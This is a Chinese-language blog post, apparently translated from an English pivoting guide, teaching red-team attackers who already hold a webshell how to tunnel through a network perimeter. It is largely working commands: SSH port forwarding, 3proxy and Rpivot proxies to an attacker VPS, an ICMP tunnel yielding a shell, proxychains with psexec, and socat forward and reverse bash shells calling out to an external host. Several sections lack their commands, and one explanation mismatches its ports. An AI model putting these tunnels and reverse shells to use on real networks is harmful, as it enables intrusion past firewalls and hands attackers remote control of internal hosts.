穿越邊界的姿勢

FLy_鵬程萬里發表於2018-06-04

在企業安全對抗中,紅方攻擊團隊經常會遇到這種情況,在企業的網路邊界上獲取到部分許可權,比如一個web伺服器的webshell,然而如何更方便的進行下一步的滲透呢?如何對內網進行滲透測試,這時就需要隧道轉發技術,穿透邊界防火牆、安全代理等安全裝置,進行深層次的安全測試。本文的主要內容是穿透內網的各種姿勢。

典型的邊界網路架構圖

利用ssh建立隧道

動態埠轉發

原理:建立一個動態的SOCKS4/5的代理通道,緊接著的是本地監聽的埠號;動態埠轉發是建立一個ssh加密的SOCKS4/5代理通道,任何支援SOCKS4/5協議的程式都可以使用這個加密的通道來進行代理訪問。

本地執行命令:

ssh -D 1080 root@106.22.50.48

效果:本地監聽1080埠,我們可以使用具有socks埠功能的應用,可以通過代理:127.0.0.1:1080上網,如果非要在目標內網使用,

可以在server B上執行:

ssh -D 1080 root@10.3.1.6

這樣我們就可以通過server B的1080埠訪問辦公網的資源。如果serverB的ssh可以訪問,

可以在本地執行:

ssh -D 1080 root@222.222.222.223

這樣我們就可以通過本地127.0.0.1:1080訪問目標內網資源。

本地埠轉發

原理:將本地機(客戶機)的某個埠轉發到遠端指定機器的指定埠;本地埠轉發是在localhost上監聽一個埠,所有訪問這個埠的資料都會通過ssh 隧道傳輸到遠端的對應埠。

在serverB上執行:

ssh -L 7001:localhost:7070 root@106.22.50.48

作用:serverB監聽7001埠,並將7001埠的資料轉發到vps的7070埠

利用:在serverB上執行一個socks代理,代理埠設定為7001,這樣再執行上面的命令,這樣我們就相當於建立了一個socks5隧道。

遠端埠轉發

原理:將遠端主機(伺服器)的某個埠轉發到本地端指定機器的指定埠;遠端埠轉發是在遠端主機上監聽一個埠,所有訪問遠端伺服器的指定埠的資料都會通過ssh 隧道傳輸到本地的對應埠。

在serverB上執行:

localhost: ssh -R 1433:localhost:7070  root@10.3.1.6

作用:將10.3.1.6的3306埠轉發到serverB的7070埠,這樣我們在訪問serverB的7070埠時,其實訪問到的是10.3.1.6的3306埠。

使用3proxy建立隧道

簡介

工具地址: https://github.com/z3APA3A/3proxy/releases

3proxy是一個由俄羅斯人開發的多平臺代理軟體,支援http/https/ftp/socks4/socks5/socks4a/socks5a等多種代理方式。

利用方式:

windows:3proxy.exe config_file

linux:./3proxy config_file

這個工具的使用主要是修改配置檔案。

建立socks代理

配置如下:

#!/usr/local/bin/3proxy

socks -p1080

作用:新建一個socks代理,監聽1080埠

實現埠轉發

配置如下:

#!/usr/local/bin/3proxy

tcppm 1080 106.22.50.48 7070

作用:將本地的1080埠轉發到vps的7070埠

其他功能大家可以自行學習。

使用plink實現埠轉發

plink的使用跟ssh類似,只是plink是在windows下執行的。

使用Rpivot做反向代理

工具地址:https://github.com/artkond/rpivot

利用方式:

vps:

python server.py --proxy-port 1080 --server-port 9999 --server-ip 0.0.0.0

作用:在vps上新建一個socks4代理在1080埠,監聽9999埠

serverB:

python client.py --server-ip 106.22.50.48 --server-port 9999

作用:連線vps的9999埠,我們可以通過vps的1080埠訪問目標內網。

建立ICMP隧道

工具地址:http://code.gerade.org/hans/

在serverB上下載編譯

用root執行:

1 echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

2 ./hans -s 222.222.222.223 -p password

在本地執行:

./hans -f -c 222.222.222.223  -p password -v

會返回一個shell

穿透代理伺服器

條件:serverB需要通過serverA這個代理伺服器上外網,且代理伺服器的認證是需要域認證

Rpivot

可以使用下面的命令實現穿透:

如果獲取到的使用者密碼是個Hash,解不出來的情況下:

Cntlm

工具地址:http://cntlm.sourceforge.net/

原理:通過內網ntlm認證代理將遠端務器的埠轉發到本地。

使用方式,在serverB上執行:

windows: cntlm.exe -c config.conf

linux:./cntlm -c config.conf

配置檔案樣例:

作用:內網伺服器訪問serverB的2222埠,也就是訪問到vps的443埠。

通過socks代理訪問內網

proxychains

假設代理伺服器地址是:222.222.222.223:1080

修改配置檔案,將代理地址設定為代理伺服器的地址如下:

vim /etc/proxychains.conf

socks5  222.222.222.223 1080

使用方法:

proxychains psexec.py administrator@10.2.2.2 ipconfig

proxifier

圖形化工具,大家自行測試

獲取一個shell視窗

Python PTY shell

使用nc在vps上用監聽4444埠:

nc -vv -l -p 4444

在serverB上執行:

socat

正向shell

vps上執行監聽1337埠:

socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

在serverB上執行:

socat FILE:`tty`,raw,echo=0 TCP:106.22.50.48:1337

反向shell

vps上執行監聽1337:

socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0

在serverB上執行:

socat TCP4:106.22.50.48:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

總結

大千世界無奇不有,企業架構各有不同。不同的網路環境需要不同的技術支撐,只有瞭解足夠多的技術才能應對不同的情況,具體情況具體對待,相信作為安全測試工程師對於這些技術都不陌生,這裡只是做個簡單介紹,內容來源:https://artkond.com/2017/03/23/pivoting-guide/,想看英文原版的請點選原文連結。



相關文章